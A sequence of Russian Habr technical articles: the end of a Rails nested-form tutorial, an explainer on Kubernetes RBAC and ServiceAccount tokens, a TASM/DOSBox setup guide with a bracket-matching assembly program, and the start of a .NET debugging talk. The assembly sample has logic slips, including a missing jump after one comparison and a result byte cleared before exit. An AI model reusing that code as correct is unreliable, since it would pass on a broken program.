Теперь у нас есть 2 метода: posts\_smth\_path и posts\_smths\_path, которые являются частным случаем posts\_topic\_path и posts\_topics\_path (вместо topic/topics, само собой, там может быть еще link/links и podcast/podcasts). Сделав работу над ошибками, смотрим что у нас получилось:
> `<% @posts.each do |post| %>
> <%= link\_to post.content.class.**to\_s**.pluralize, posts\_smths\_path(post) %> →
> <%= link\_to post.title, posts\_smth\_path(post) %>
>
> <% end %>`
Думаю, для черновика вполне достаточно. Теперь остальные представления:
> `<% @posts.each do |post| %>
> <%= link\_to post.title, posts\_topic\_path(post) %>
>
> <% end %>
> <p>
> <%= link\_to "Add new Topic", new\_posts\_topic\_path %>
> p>`
Это метод index, и за исключением методов posts\_topic\_path и new\_posts\_topic\_path он везде одинаковый, нет смысла городить тут еще тонну кода. В двух других будет posts\_link\_path/new\_posts\_link\_path и posts\_podcast\_path/new\_posts\_podcast\_path соответственно.
> `<%= @post.title %>
> ==================
>
>
> <%= @post.content.body %>`
А это show, и в данном примере он вообще везде одинаковый :)
А теперь — самое, пожалуй, интересное: добавление новый записей. Как вы уже заметили, в предыдущем листинге присутствует строка
> `<%= link\_to "Add new Topic", new\_posts\_topic\_path %>`
Хелпер link\_to сгенерирует ссылку, при нажатии на которую мы перейдем на страницу /posts/topics/new, поэтому нам просто жизненно необходимо создать файл app/views/posts/topics/new.html.erb и написать в него что-нибудь такое:
> `<% form\_for [:posts, @topic] do |form| %>
> <% **form**.fields\_for @post do |p| %>
> <p>
> <%= p.label :title %>
>
> <%= p.text\_field :title %>
> p>
> <p>
> <%= p.check_box :published %>
> <%= p.label :published %>
> p>
> <% end %>
>
> <p>
> <%= **form**.label :body %>
>
> <%= **form**.text_area :body %>
> p>
>
> <p><%= **form**.submit "Create" %>p>
> <% end %>`
Сразу оговорюсь, пока что речь будет идти только про топики, в остальных контроллерах/представлениях будет аналогичный код.
Чтобы все встало на свои места, я приведу код метода new контроллера topics:
> `def new
> @topic = Topic.new
> @post = Post.topics.new
> end`
И, для полной ясности, я повторю код, который мы писали в файле routes.rb:
> `map.namespace(:posts) do |post|
> post.resources :topics, :links, :podcasts
> end`
Когда-то давно мы определили namespace, и теперь при создании форм для топиков вместо form\_for [topic](https://habrahabr.ru/users/topic/) do… мы будем указывать наш namespace, то есть писать form\_for [:posts, [topic](https://habrahabr.ru/users/topic/)] do… (аналогично для ссылок и подкастов).
В самом конце формы мы помещаем поле body и кнопку submit'a формы, а перед этим пользуемся хелпером fields\_for, который аналогичен по поведению хелперу form\_for, разве что не создает теги формы. Таким образом у нас получается как бы 2 формы, при этом одна вложена в другую.
Заполняем форму, нажимаем кнопку Create и переходим к методу create контроллера topics. Напишем в него что-нибудь работающее, и добавление статей готово!
> `def create
> @topic = Topic.**new**(:body => params[:topic][:body])
> if @topic.save
> @post = Post.**new**({ :content => @topic }.merge params[:topic][:post])
> if @post.save
> redirect\_to root\_url
> else
> render :new
> end
> else
> render :new
> end
> end`
Я искренне извиняюсь за такое обилие кода в методе, я уверен что этот код можно (и нужно!) вынести в модель, но я так не умею. Надеюсь, кто-нибудь из более опытных товарищей меня поправит.
На этом, думаю, все. Обновление элементов делается аналогично созданию, с этим не должно возникнуть сложностей. Прошу прощения за ошибки, опечатки, занудство и за размер статьи: я не хотел!
~~Отнеситесь со всей строгостью, это уже не первая моя статья на Хабре!~~
**UPD:**
Полезные материалы по теме:
[STI — одна таблица и много моделей](http://habrahabr.ru/blogs/ror/79630/)
[Создание мульти-модельных форм](http://habrahabr.ru/blogs/ror/79595/) | https://habr.com/ru/post/79431/ | null | ru | null |
# Как работает RBAC в Kubernetes
RBAC (Role-based access control) — это система распределения прав доступа к различным объектам в кластере Kubernetes.
**Объекты** в кластере Kubernetes — это YAML-манифесты, а **права доступа** определяют, какому **пользователю** можно только просматривать манифесты, а кто может их создавать, изменять или даже удалять.
Рассказываем, как устроен RBAC.
*Материал подготовлен на основе лекции архитектора Southbridge Сергея Бондарева «Продвинутые абстракции Kubernetes» из курса* [*«Kubernetes База»*](https://slurm.io/kubernetes-baza?utm_source=habr&utm_medium=article&utm_campaign=%20kubernetes-baza&utm_content=article_13-03-2022&utm_term=bondarev)*.*
**Пользователи** кластера Kubernetes — это все, кто шлёт запросы в API-сервер, не только администраторы и разработчики, но и различные скрипты CI/CD, компоненты *control plane*, *kubelet* и *kube-proxy* на узлах, а также приложения, запущенные в кластере.
В рамках модели контроля доступа на основании ролей есть 5 сущностей: *Role, RoleBinding, ClusterRole, ClusterRoleBinding, ServceAccount*. О них рассказываем в статье.
### ServiceAccount
Начнём с конца. В Kubernetes есть самый простой тип пользователей, который называется *ServiceAccount*. Что же такое сервис аккаунт и чем он отличается от обычных пользователей?
Дело в том, что Kubernetes ничего не знает о пользователях в том виде, в котором мы привыкли их видеть в других системах ограничения доступа, где у пользователей есть логин, пароль, группы и т. д. То есть внутри своих объектов Kubernetes никаких списков логинов, групп и паролей не хранит, но при этом у него есть механизмы вызова внешних сервисов проверки паролей, таких как oidc, есть вариант проверки пользовательского сертификата или даже обычный [HTTP Basic Auth](https://habr.com/ru/post/488388/) с классическим апачевским файликом *htpasswd*.
*ServiceAccount* был создан в первую очередь для ограничения прав ПО, которое работает в кластере. Всё общение между компонентами кластера идёт через запросы к API-серверу, и каждый такой запрос как раз авторизуется специальным JWT-токеном. Этот токен автоматически генерируется при создании объекта типа *ServiceAccount*и кладётся в secret.
> *В отличие от обычного пользователя, которому мы можем задать произвольный пароль, JWT-токен содержит внутри себя служебную информацию с названием ServiceAccount, Namespace и подписан корневым сертификатом кластера.*
>
> *Посмотреть содержимое JWT-токена можно, введя его в форму Debugger на сайте* [*https://jwt.io*](https://jwt.io)
>
>
Далее этот secret монтируется внутрь контейнера, где работает наше приложение, и если приложение знает и умеет в Kubernetes, оно берёт токен из файла */var/run/secrets/kubernetes.io/serviceaccount/token*, смонтированного из secret, и с ним делает запросы в API.
Ничего не мешает взять из секрета этот сгенерированный токен и положить его в скрипт CI или отдать разработчику и объяснить, что с этим токеном он может делать запросы в API кластера. Когда разработчиков и CI в кластере немного, такой подход вполне приемлем — он простой и достаточно безопасный.
Перейдём в консоль и посмотрим на манифест *ServiceAccount'а:*
```
kubectl get serviceaccount
NAME SECRETS AGE
default 1 2y298d
```
Видим *ServiceAccount* `default`
Свой сервис аккаунт *default* есть в каждом неймспейсе, он создаётся автоматически. По умолчанию прав у этого аккаунта на доступ к API нет никаких.
Смотрим внутрь:
```
k get sa default -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
creationTimestamp: "2019-05-18T20:08:00Z"
name: default
namespace: default
resourceVersion: "2120"
uid: a2cf45e6-79a8-11e9-b6a7-fa163e91ccaf
secrets:
- name: default-token-2r2tz
```
Видим служебные поля и имя. Имя — это и есть то, что мы указываем при создании *ServiceAccount*. В поле `secret` лежит название секрета с токеном. Это поле добавляется контроллером автоматически.
Если посмотреть в *secret*, увидим там корневой сертификат кластера *ca.crt*. Он нужен, чтобы клиент был уверен, что он связывается именно с тем кластером, с которым надо. Есть поле *namespace* — оно показывает, в каком неймспейсе создан сервис аккаунт*.* И есть токен, с которым собственно и делаются запросы к API. Токен передаётся в заголовках HTTP-запроса.
Вы можете создать свой сервис аккаунт и указать его имя в манифесте пода, тогда при запуске контейнеров пода в них будет смонтирован секрет с токеном от этого сервис аккаунта. Если *ServiceAccount* не указывать, то будет смонтирован секрет от сервис аккаунта *default*.
Иногда говорят, что под в кластере Kubernetes работает с правами сервис аккаунта. Это приводит к путанице и проблемам в понимании принципов работы. Под нигде не работает, работает приложение. Приложение запущено в контейнерах пода на воркер-узлах и работает там как обычный Linux-процесс в самоизоляции. Всё!
Единственное, что происходит в кластере Kubernetes — *kubelet* монтирует токен внутрь контейнеров. И дальше уже приложение решает: если ему нужно обращаться к API кластера, будет ли оно брать токен из этого смонтированного секрета или возьмёт другой токен, например, запросит у пользователя.
### Role
С сервис аккаунтами разобрались. Теперь рассмотрим, каким образом сервис аккаунтам выдаются права. Для этого используются ещё две сущности: *Role* и *RoleBinding*.
*Role* — это YAML-манифест, который описывает некий набор прав на объекты кластера Kubernetes. *Role* ничего и никому не разрешает. Это просто список.
Напомню, что объекты кластера — это YAML-манифесты, которые хранятся в etcd. Все права проверяются API-сервером и относятся к запросам, которые принимает API-сервер.
То есть если вы запретили девелоперу выполнять *kubectl exec*, но у него есть доступ на воркер-ноду, то зайти на воркер-ноду и сделать *docker exec* в контейнер RBAC запретить никак не сможет.
Идём в кластер и в *ns ingress-nginx* смотрим на роль: *ingess-nginx*
`kubectl get role -n ingress-nginx ingress-nginx -o yaml`
Нас интересует раздел *rules* — это список правил, описывающих права доступа.
В каждом правиле у нас есть три параметра, например:
```
apiGroups:
- extensions
- networking.k8s.io
resources:
- ingresses
verbs:
- get
- list
- watch
```
*apiGroups* — описывает API-группу манифеста. Это то, что написано в поле *apiVersion:* до слеша. Если в *apiVersion* указана только версия, без группы, например, как в манифесте Pod, то считается, что у этого манифеста так называемая корневая группа (core-group); в роли корневая группа указывается как пустая строка “”.
*resourсes* — список ресурсов, к которым мы описываем доступ, во множественном числе. Посмотреть список ресурсов в вашем кластере можно командой `kubectl api-resources`. Также есть подресурсы, описывающие специфические действия, например, подресурс *pods/log* разрешает просматривать логи контейнеров в поде.
*verbs* — список действий, которые можно сделать с ресурсами, описанными выше: получить, посмотреть список, следить за изменением, отредактировать, удалить и т.п. О том, что именно хотим сделать с объектом мы, согласно принципам REST, указываем типом HTTP-запроса ( GET, PUT, POST, DELETE) или кодируем в URL, если это какое-нибудь хитрое действие вроде *watch* или *impersonate*.
```
# GET /apis/networking.k8s.io/v1beta1/namespaces/{namespace}/ingresses/{name}
- apiGroups: ["extensions", "networking.k8s.io"]
resources: ["ingresses"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
# GET /api/v1/namespaces/{namespace}/pods/{name}/log
- apiGroups: [""] # "" indicates the core API group
resources: ["pods", "pods/log"]
verbs: ["get", "list"]
```
> *Посмотреть на примеры запросов к API-серверу проще всего, запуская команду* `kubectl get/create/delete` *с ключом* `‘-v 6’`*.*
>
>
А ещё есть *ResourceNames* — c помощью этого поля можно указать название объекта и, например, дать права на изменение не всех configmap, а только одного конкретного configmap с именем *ingress-controller-leader*.
Повторюсь, это просто список правил, объединённых в одну абстракцию. Никаких прав он никому не выдаёт. Для этих целей есть сущность *RoleBinding* — своим названием она нам говорит, что занимается назначением роли.
### RoleBinding
Сразу смотрим в манифест *Rolebinding*:
`kubectl get rolebinding ingress-nginx -n ingress-nginx -o yaml`
В нём есть два типа полей: `roleRef` и `subjects`:
```
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: ingress-nginx
subjects:
- kind: ServiceAccount
name: ingress-nginx
namespace: ingress-nginx
- kind: User
name: jane # "name" is case sensitive
apiGroup: rbac.authorization.k8s.io
- kind: Group
name: developer # ex: organization in user certificate
apiGroup: rbac.authorization.k8s.io
```
В `roleRef` указываем права из какой роли будут разрешены.
`subjects` — кому будут разрешены эти права (или назначена эта роль).
Если `kind: ServiceAccount`, то права выдаются сервис аккаунту `ingress-nginx` в неймспейсе `ingress-nginx`.
То есть API-сервер кластера при получении HTTP-запроса на действие с объектом кластера увидит в заголовке JWT-токен. Проверит, что токен подписан корневым сертификатом кластера. Возьмет из токена название сервис аккаунта и неймспейс и проверит соответствующие RoleBinding в кластере, чтобы узнать, разрешено ли производить запрошенное действие над объектом из запроса.
Но в списке `subjects` также есть `kind: User` и `kind: Group`. При этом команды ``kubectl get user`` и ``kubectl get group`` вернут сообщение, что в кластере нет ресурса такого типа.
Что очень странно — ресурса нет, а `kind:` есть.
Эти *kind* нужны для того, чтобы описать разрешения для тех запросов, которые были аутентифицированы не через токен от сервис аккаунта, а другим способом. Например, через oidc, когда внешний сервис аутентификации прислал в ответе *user* и *group*, соответствующие oidc-токену. Или поля *CommonName (CN)* и *Organization (O)* из клиентского сертификата, который был предъявлен при отправке запроса по протоколу HTTPS/TLS.
### ClusterRole
*Role* описывает права в неймспейсе, сущность *Role* неймспейс-зависимая, и мы можем создавать роли с одинаковым именем в разных неймспейсах.
А *Cluster Role* — это кластерный объект, эта сущность описывает права на объекты во всём кластере.
В k8s есть много преднастроенных кластерных ролей. В том числе роли *admin*, *edit* и *view* — описывающие права, разрешающие администрирование, редактирование или только просмотр сущностей. Посмотреть роль можно в своём кластере, если у вас есть права администратора, командой
`kubectl get clusterrole edit -o yaml`
И есть ёще роль кластерного администратора, которая даёт все права на все сущности кластера.
`kubectl get clusterrole cluster-admin -o yaml`
### ClusterRoleBinding
*RoleBinding* даёт доступ только к тем сущностям, которые находятся в том же неймспейсе, что и манифест *Rolebinding*. *ClusterRoleBinding* позволяет выдать доступ к сущностям во всех неймспесах кластера сразу.
К сожалению, механизма, позволяющего выдать доступ к неймспейсам по *label* или регекспу имени не существует. Или *RoleBinding* в одном конкретном неймспейсе или *ClusterRoleBinding* сразу на все неймспейсы кластера.
### Подведём итоги
*Role* в неймспесах привязываем через *RoleBinding* в неймспейсе — юзер получает права в неймспейсе.
*ClusterRole* привязываем через *ClusterRoleBinding* — юзер получает права на весь кластер.
Пока логично? А теперь внимательно следим за движением мысли.
*ClusterRole* можно привязать через *RoleBinding* в неймспейсе — и юзер получит права в неймспейсе.
Что нам это даёт? Нам нет нужды создавать в каждом неймспейсе одинаковые роли *edit*, мы можем использовать стандартную кластерную роль *edit* и назначать ее юзерам, раздавая им доступы в нужные неймспейсы.
На первое время вполне достаточно стандартных ролей *edit* и *view*. Чтобы разобраться в том, какие бывают ресурсы и действия с ними, посмотрите встроенные роли и роли в готовых наборах манифестов, например, в Helm Charts.
Много всего описано в документации, но иногда нужно и погуглить. Как правило, все нужные ресурсы/подресурсы уже расписаны в каких-либо специализированных статьях.
*Фото на обложке статьи: Patrick Robert Doyle, Unsplash.com* | https://habr.com/ru/post/655409/ | null | ru | null |
# Assembler. Установка интерпретатора и запуск первой программы через DOSBox
В данной статье разбирается способ установки интерпретатора и запуск файла EXE через DOSBox. Планировалось погрузить читателя в особенности программирования на TASM, но я согласился с комментаторами. Есть много учебников по Ассемблер и нет смысла перепечатывать эти знания вновь. Лично мне в изучении очень помог сайт av-assembler.ru. Рекомендую. В комментариях также вы найдёте много другой литературы по Assembler. А теперь перейдём к основной теме статьи.
Для начала давайте установим наш старенький интерпретатор.
[**Ссылка**](https://vk.com/topic-205404099_47749107)
Почему именно vk.com?Я прекрасно понимаю, что это ещё тот колхоз делиться файлами через обсуждения VK, но кто знает, во что может превратиться эта маленькая группа в будущем.
После распаковки файлов, советую сохранить их в папке Asm на диск C, чтобы иметь меньше расхождений с представленным тут материалом. Если вы разместите директорию в другое место, изменится лишь путь до файлов, когда вы будете использовать команду mount.
Для запуска интерпретатора нам так же потребуется эмулятор DOSBox. Он и оживит все наши компоненты. Скачаем и установим его!
[**Ссылка**](https://www.dosbox.com/download.php?main=1)
В папке Asm я специально оставил файл code.asm. Именно на нём мы и потренируемся запускать нашу программу. Советую сохранить его копию, ибо там хранится весь код, который в 99% случаев будет присутствовать в каждом вашем проекте.
code.asm
```
s_s segment
s_s ends
d_s segment
d_s ends
c_s segment
assume ss:s_s, ds:d_s, cs:c_s
begin:
mov ax, d_s
mov ds, ax
mov ax, 0
; Your code needs to be here
mov ah, 4ch
int 21h
c_s ends
end begin
```
Итак. Запускаем наш DOSBox и видим следующее:
Для простоты сопоставим имя пути, по которому лежит наша папка Asm. Чтобы это сделать, пропишем следующую команду:
```
mount d: c:\asm
```
Здесь вместо d: мы можем использовать любую другую букву. Например назвать i или s. А C это наш реальный диск. Мы прописываем путь до наших файлов ассемблера.
Теперь, откроем смонтированный диск:
```
d:
```
Прописав команду dir, мы сможем увидеть все файлы, которые там хранятся. Здесь можно заметить и наш файл CODE с расширением ASM, а также дату его создания.
И только теперь мы начинаем запускать наш файл! Бедные программисты 20 века, как они только терпели всё это? Пропишем следующую команду:
```
tasm code.asm
```
После мы увидим следующее сообщение, а наша директория пополнится новым файлом с расширением OBJ.
Теперь пропишем ещё одну команду:
```
tlink code.obj
```
В нашей папке появилась ещё пара файлов – CODE.MAP и CODE.EXE. Последний как раз и есть исполняемый файл нашего кода assembler.
Если он появился, значит, мы можем запустить режим отладки нашей программы, введя последнюю команду. Обратите внимание, теперь мы не указываем расширение файла, который запускаем.
```
td code
```
Этот старинный интерфейс насквозь пропитан духом ушедшей эпохи старых операционных систем. Тем не менее…
Нажав F7 или fn + F7 вы сможете совершить 1 шаг по коду. Синяя строка начнёт движение вниз, изменяя значения регистров и флагов. Пока это всего лишь шаблон, на котором мы потренировались запускать нашу программу в режиме дебага. Реальное “волшебство” мы увидим лишь с полноценным кодом на asm.
Небольшой пример для запускаПрога проверяет, было ли передано верное число открывающих и закрывающих скобок:
```
s_s segment
dw 20 dup('$')
s_s ends
d_s segment
string db '()','$';
result db 0
d_s ends
c_s segment
assume ss:s_s,ds:d_s,cs:c_s
begin: ; начало программы
mov ax,d_s
mov ds,ax
xor ax,ax
lea si, string
;Ищем в строке скобку
search:
lodsb
;Проверка, это конец строки?
cmp al, '$'
je endString
;Это открывающая или закрывающая скобка?
;Это открывающие скобки?
cmp al, '('
je inStack
cmp al, '{'
je inStack
cmp al, '['
je inStack
;Это закрывающие скобки?
cmp al, ')'
je outStack
cmp al, '}'
je outStack
cmp al, ']'
je outStack
jmp search
;Помещаем скобку в Stack, увеличиваем счётчик
inStack:
inc cx
push ax
jmp search
;Выниманием из Stack скобку, проверяем пару
outStack:
;Была передана лишняя закрыв. скобка?
cmp cx, 0
je error3
dec cx
pop bx
;Вскрытая скобка закрыта верно?
cmp bl, '('
jne close1
cmp al, ')'
jne error1
jmp search
close1:
cmp bl, '['
jne close2
cmp al, ']'
jne error1
jmp search
close2:
cmp bl, '{'
cmp al, '}'
jne error1
jmp search
;Остались ли незакрытые скобки?
endString:
cmp cx, 0
jne error2
jmp exit
;Скобки остались, это ошибка №2
error2:
mov result, 2
jmp exit
;Лишняя скобка передана, ошибка №3
error3:
mov result, 3
jmp exit
;Закрывающая скобка несоответствует открывающей, ош №1
error1:
mov result, 1
jmp exit
;Пред-завершение. Каков результат программы?
exit:
cmp result, 1
jne enough
;Ищем нужную скобку для исправления ошибки №1
cmp bl, '('
jne next1
mov bl, ')'
jmp enough
next1:
cmp bl, '{'
jne next2
mov bl, '}'
jmp enough
next2:
cmp bl, '['
mov bl, ']'
jmp enough
enough:
mov dl, result
xor dx, dx
mov dl, bl
mov ah,4ch
int 21h
c_s ends
end begin
```
Давайте ознакомимся с имеющимися разделами.
CS
--
Code segment – место, где turbo debug отражает все найденные строки кода. Важное замечание – все данные отражаются в TD в виде 16-ричной системы. А значит какая-нибудь ‘12’ это на самом деле 18, а реальное 12 это ‘C’. CS аналогичен разделу “Begin end.” на Pascal или функции main.
DS
--
Data segment, отражает данные, которые TD обнаружил в d\_s. Справа мы видим их символьную (char) интерпретацию. В будущем мы сможем увидеть здесь наш “Hello, world”, интерпретируемый компилятором в числа, по таблице ASCII. Хорошей аналогией DS является раздел VAR, как в Pascal. Для простоты можно сказать, что это одно и тоже.
SS
--
Stack segment – место хранения данных нашего стека.
Регистры
--------
Все эти ax, bx, cx, si, di, ss, cs и т. д. – это наши регистры, которые используются как переменные для хранения данных. Да, это очень грубое упрощение. Переменные из Pascal и регистры Assembler это не одно и тоже, но надеюсь, такая аналогия даёт более чёткую картину. Здесь мы сможем хранить данные о циклах, арифметических операциях, системных прерываниях и т. д.
Флаги
-----
Все эти c, z, s, o, p и т.д. это и есть наши флаги. В них хранится промежуточная информация о том, например, было ли полученное число чётным, произошло ранее переполнение или нет. Они могут хранить результат побитого сдвига. По опыту, могу сказать, на них обращаешь внимание лишь при отладке программы, а не во время штатного исполнения.
---
Ещё одно замечание. Если вы измените данные исходного файла с расширением .ASM, то вам придётся совершить все ранее описанные операции вновь, ибо обновив например code.asm вы не меняете code.obj или code.exe.
Маленькая шпаргалка для заметок:
--------------------------------
1. mount d: c:\asm – создаём виртуальный диск, где корень –папка asm
2. d: - открываем созданный диск
3. tasm code.asm – компилируем исходный код
4. tlink code.obj – создаём исполняемый файл
5. td code – запускаем debug
6. F7 – делаем шаг в программе
Буду ждать комментарии от всех, кому интересен Assembler. Чувствую, я где-то мог накосячить в терминологии или обозначении того или иного элемента. Но статья на Habr отличный повод всё повторить. | https://habr.com/ru/post/564898/ | null | ru | null |
# Отладка как процесс
Существует мнение, что разработка занимает около 10% времени, а отладка — 90%. Возможно, это утверждение утрировано, но любой разработчик согласится с тем, что отладка — крайне затратный по ресурсам процесс, особенно в больших многопоточных системах.
Таким образом, оптимизация и систематизация процесса debugging'а может приносить весомые плоды в виде сэкономленных человеко-часов, повышения скорости решения проблем и, в конце концов, увеличения лояльности ваших пользователей.
[Сергей Щегрикович](https://dotnext-piter.ru/2018/spb/people/6arcrxmk6kgkkmkcssoe0a/) (dotmailer) на конференции [DotNext 2018 Piter](https://dotnext-piter.ru/) предложил взглянуть на отладку как на процесс, который может быть описан и оптимизирован. Если вы до сих пор не имеете четкого плана поиска багов — под катом видео и текстовая расшифровка доклада Сергея.
(А еще в конце поста мы добавили обращение [Джона Скита](https://twitter.com/jonskeet) ко всем дотнетчикам, обязательно посмотрите)
Моя цель — ответить на вопрос: как фиксить баги эффективно и на чем должен быть фокус. Я думаю, что ответ на этот вопрос — процесс. Процесс debugging'а, который состоит из очень простых правил, и вы хорошо их знаете, но, наверно, используете неосознанно. Поэтому моя задача — это систематизировать их и на примере показать как стать более эффективными.
Мы выработаем общий язык общения во время отладки, а также увидим прямой путь к поиску основных проблем. На своих примерах я покажу что получалось из-за нарушения этих правил.
Утилиты отладки
---------------
Конечно, любой debugging невозможен без утилит для отладки. Моими любимыми являются:
* [Windbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg), который помимо самого debugger'а, имеет богатый функционал по изучению дампов памяти. Дамп памяти — это срез состояния процесса. В нем можно найти значение полей объектов, call-stack'и, но, к сожалению, дамп памяти статичен.
* [PerfView](https://blogs.msdn.microsoft.com/dotnet/2012/10/09/improving-your-apps-performance-with-perfview/) — это профилировщик, написанный поверх [ETW-технологии](https://docs.microsoft.com/ru-ru/windows/desktop/ETW/event-tracing-portal).
* [Sysinternals](https://live.sysinternals.com/) — утилита, написанная [Марком Руссиновичем](https://ru.wikipedia.org/wiki/%D0%A0%D1%83%D1%81%D1%81%D0%B8%D0%BD%D0%BE%D0%B2%D0%B8%D1%87,_%D0%9C%D0%B0%D1%80%D0%BA), которая позволяет чуть дальше копнуть внутрь устройства операционной системы.
Падающий сервис
---------------
Начнем с примера из моей жизни, в котором я покажу, как бессистемность процесса debugging'а ведет к неэффективности.
Наверно, у каждого такое бывало, когда ты приходишь в новую компанию в новую команду на новый проект, то с самого первого дня хочется нанести непоправимую пользу. Так было и у меня. В то время у нас был сервис, который на вход принимал html, а на выход выдавал картинки.
Сервис был написан под .Net 3.0 и было это очень давно. У этого сервиса была маленькая особенность — он падал. Падал часто, примерно раз в два-три часа. Пофиксили мы это элегантно — выставили в свойствах сервиса рестарт после падения.
Сервис был для нас не критичен и мы могли это пережить. Но к проекту подключился я и первое, что решил сделать — исправить это.
Куда .NET-разработчики идут в случае, если что-то не работает? Они идут в EventViewer. Но там я не нашел ничего, кроме записи о том, что сервис упал. Ни сообщений о нативной ошибке, ни call-stack'а не было.
Есть проверенный инструмент что делать дальше — оборачиваем весь `main` в `try-catch`.
```
try {
ProcessRequest();
} catch (Exception ex) {
LogError(ex);
}
```
Идея простая: `try-catch` сработает, залогирует нам ошибку, мы её прочитаем и пофиксим сервис. Компилируем, деплоим в продакшн, сервис падает, ошибки нет. Добавляем ещё один `catch`.
```
try {
ProcessRequest();
} catch (Exception ex) {
LogError(ex);
} catch {
LogError();
}
```
Повторяем процесс: сервис падает, ошибок в логах нет. Последнее, что может помочь — это `finally`, который вызывается всегда.
```
try {
ProcessRequest();
} catch (Exception ex) {
LogError(ex);
} catch {
LogError();
} finally {
LogEndOfExecution();
}
```
Компилируем, деплоим, сервис падает, ошибок нет. За этим процессом проходит три дня, теперь уже приходят мысли о том, что надо наконец-то начать думать и делать что-нибудь другое. Делать можно много чего: попробовать воспроизвести ошибку на локальной машине, смотреть дампы памяти и тд. Казалось, еще дня два и я пофикшу этот баг…
Прошло две недели.
Я смотрел в PerformanceMonitor, где видел сервис, который падает, потом поднимается, потом снова падает. Это состояние называется *отчаяние* и выглядит вот так:
В этом разнообразии меток ты пытаешься понять, где же на самом деле проблема? После нескольких часов медитации проблема вдруг обнаруживается:
Красная линия — это количество нативных handle'ов, которыми владеет процесс. Нативный handle — это ссылка на ресурс операционной системы: файл, реестр, ключ реестра, мьютекс и тд. По какому-то непонятному стечению обстоятельств падение роста количества handle'ов совпадает с моментами падения сервиса. Это наталкивает на мысль о том, что где-то есть утечка handle'ов.
Берем дамп памяти, открываем его в WinDbg. Начинаем выполнять команды. Попробуем посмотреть очередь финализации тех объектов, которые должны быть освобождены приложением.
```
0:000> !FinalizeQueue
```
В самом конце списка я нашел web-браузер.
Решение простое — взять WebBrowser и вызывать для него `dispose`:
```
private void Process() {
using (var webBrowser = new WebBrowser()) {
// Processing
...
}
}
```
Выводы из этой истории можно сделать такие: две недели — это долго и слишком много, чтобы найти невызванный `dispose`; то, что мы нашли решение проблемы — везение, так как не было какого-то определенного подхода, не было системности.
После этого у меня возник вопрос: а как дебажить эффективно и что для этого делать?
Для этого надо знать всего три вещи:
1. Правила отладки.
2. Алгоритм нахождения ошибок.
3. Проактивные техники отладки.
Правила отладки
---------------
1. Повтори ошибку.
2. Если ты не исправил ошибку, то она не исправлена.
3. Пойми систему.
4. Проверь штепсель.
5. Разделяй и властвуй.
6. Освежись.
7. Это твой баг.
8. Пять почему.
Это довольно понятные правила, которые сами себя описывают.
Повтори ошибку. Очень простое правило, поскольку, если ты не можешь повторить ошибку, то, возможно, и фиксить нечего. Но бывают разные случаи, особенно это касается багов в многопоточной среде. У нас как-то была ошибка, которая появлялась только на процессорах Itanium и только на продакшн-серверах. Поэтому первая задача в процессе отладки — найти такую конфигурации тестового стенда, на которой бы ошибка воспроизводилась.
Если ты не исправил ошибку, то она не исправлена. Иногда бывает такое: в баг-трекере лежит баг, который появлялся пол года назад, уже его давно никто не видел, и есть желание его просто закрыть. Но в этот момент мы упускаем шанс на знание, шанс на то, чтобы понять как работает наша система и что с ней действительно происходит. Поэтому любой баг — это новая возможность что-то выучить, узнать больше о своей системе.
Пойми систему. Брайан Керниган сказал как-то, что если мы были такие умные, чтобы написать эту систему, то нам нужно быть вдвойне умными, чтобы её дебажить.
Небольшой пример к правилу. Наш мониторинг рисует графики:
Это график количества запросов, обработанных нашим сервисом. Однажды посмотрев на него мы пришли к идеи о том, что можно было бы увеличить скорость работы сервиса. В этом случае график поднимется, возможно, удастся уменьшить количество серверов.
Оптимизация web-performance делается просто: берем PerfView, запускаем его на продакшн-машине, он снимает trace в течении 3-4 минут, мы этот trace забираем на локальную машину и начинаем его изучать.
Одна из статистик, которую показывает PerfView — garbage collector.
Посмотрев на эту статистику мы увидели, что 85% времени сервис тратит на сборку мусора. Можно в PerfView увидеть где конкретно тратится это время.
В нашем случае — это создание строк. Исправление напрашивается само самой: заменяем все string'и на StringBuilder'ы. Локально получаем прирост производительности на 20-30%. Деплоим на продакшн, смотрим результаты в сравнении со старым графиком:
Правило «Пойми систему» — это не только о том, чтобы понять как в вашей системе происходят взаимодействия, как ходят сообщения, а о том, чтобы попробовать смоделировать свою систему.
В примере график показывает пропускную способность. Но если посмотреть на всю систему с точки зрения теории очередей, то окажется, что пропускная способность нашей системы зависит только от одного параметра — от скорости прихода новых сообщений. По факту в системе просто не было больше 80 сообщений единовременно, поэтому оптимизировать этот график не получится никак.
Проверь штепсель. Если открыть документацию любого домашнего прибора, то там обязательно будет написано: если прибор не работает, проверь, что вилка вставлена в розетку. После нескольких часов в отладчике часто ловлю себя на мысли, что надо было просто перекомпилировать, либо просто забрать последнюю версию.
Правило «проверь штепсель» — это про факты и данные. Отладка не начинается с запуска WinDbg или PerfView на продакшн-машинах, она начинается с проверок фактов и данных. Если сервис не отвечает, возможно он просто не запущен.
Разделяй и властвуй. Это первое и, наверно, единственное правило, которое включает в себя отладку как процесс. Оно про гипотезы, их выдвижение и проверку.
Один из наших сервисов не хотел останавливаться.
Делаем гипотезу: возможно, в проекте есть цикл, который бесконечно что-то обрабатывает.
Проверить гипотезу можно по-разному, один из вариантов — это взять дамп памяти. Из дампа вытаскиваем call-stack'и всех потоков с помощью команды `~*e!ClrStack`. Начинаем смотреть и видим три потока.
Первый поток находится в Main'е, второй — в обработчике `OnStop()`, а третий поток ждал какие-то внутренние задачи. Таким образом, наша гипотеза не оправдывается. Здесь нет зацикливания, все потоки чего-то ждут. Скорее всего, deadlock.
Наш сервис работает следующим образом. Есть две задачи — инициализационная и рабочая. Инициализационная открывает connection к базе данных, рабочая начинает обработку данных. Связь между ними происходит через общий флаг, который реализован с помощью `TaskCompletionSource`.
Делаем вторую гипотезу: возможно, у нас deadlock одной задачи на вторую. Чтобы это проверить, можно через WinDbg посмотреть каждую задачу по-отдельности.
Оказывается, одна из задач упала, а вторая — нет. В проекте мы увидели такой код:
```
await openAsync();
_initLock.SetResult(true);
```
Он означает, что инициализационная задача открывает connection и после этого выставляет `TaskCompletionSource` в true. А что, если здесь упадет Exception? Тогда мы не успеваем выставить `SetResult` в true, поэтому fix к этому багу был такой:
```
try {
await openAsync();
_initLock.SetResult(true);
} catch(Exception ex) {
_initLock.SetException(ex);
}
```
